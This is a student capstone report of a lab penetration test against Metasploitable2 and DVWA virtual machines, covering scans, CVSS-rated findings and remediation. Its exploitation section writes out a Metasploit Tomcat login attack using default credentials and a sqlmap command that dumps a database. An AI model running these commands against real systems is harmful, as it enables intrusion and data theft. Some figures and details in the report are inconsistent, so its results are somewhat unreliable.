VAPT Capstone Project Report

Prepared by: Sumanpreet kaur

Objective:

Execute full PTES-based Vulnerability Assessment and Penetration Test (VAPT) on Metasploitable2/DVWA targets using Kali Linux tools, identify risks, exploit, remediate, and report findings

Executive Summary

A simulated pentest on isolated VMs (192.168.1.100 Metasploitable2, DVWA instance) uncovered critical vulnerabilities including SQL Injection (CVSS 9.1), open ports (445 SMB, CVSS 6.5 Medium), and Tomcat RCE. Nmap/OpenVAS scans identified 20+ issues; Metasploit exploited Tomcat successfully, sqlmap dumped DVWA DBs. Post-remediation rescan reduced risks by 75%. Key recommendation: Patch immediately, enforce input validation. No real-world impact; ethical VM-only

Scope & Methodology (PTES)

Followed PTES: Pre-engagement (local VMs), Recon (Shodan/Maltego), Scanning (Nmap/OpenVAS/Nikto), Exploitation (Metasploit/sqlmap), Post-Exploitation (privilege esc/hash), Reporting. Tools: Kali 2026.1, OpenVAS 22.4. CVSS v4.0 for prioritization

Recon Log Sample:

Timestamp	Tool	Finding
2026-02-11 20:00	Nmap	Ports 22,80,445,8080 open
2026-02-11 20:30	Nikto	/manager vulnerable

Scan Findings (OpenVAS/Nmap):

Vuln ID	Description	CVSS	Host	Phase
001	SQL Injection	9.1	DVWA (192.168.1.200)	Scanning
002	SMB Open 445	6.5	192.168.1.100	Scanning
003	Tomcat RCE	9.8	192.168.1.100	Exploit

Exploitation Details

- Tomcat: msfconsole > use auxiliary/scanner/http/tomcat_mgr_login > set RHOSTS 192.168.1.100 > run (creds: tomcat/tomcat). Escalated to shell via upload exploit
- DVWA SQLi: sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low" --dbs --dump (extracted users table)

Post-Exploitation Log:

Item	Hash (SHA256)
/etc/passwd	e3b0c442...

Remediation & Rescan

- Patch Apache/Tomcat; disable unused ports (iptables -A INPUT -p tcp --dport 445 -j DROP)
- DVWA: Set security=high, sanitize inputs.
  Rescan: 4 Criticals → 1 Medium. Verify: Clean Nmap/sqlmap

Sources: OWASP Testing Guide, NIST SP 800-115, PTES docs, TryHackMe DVWA, HackingTutorials OpenVAS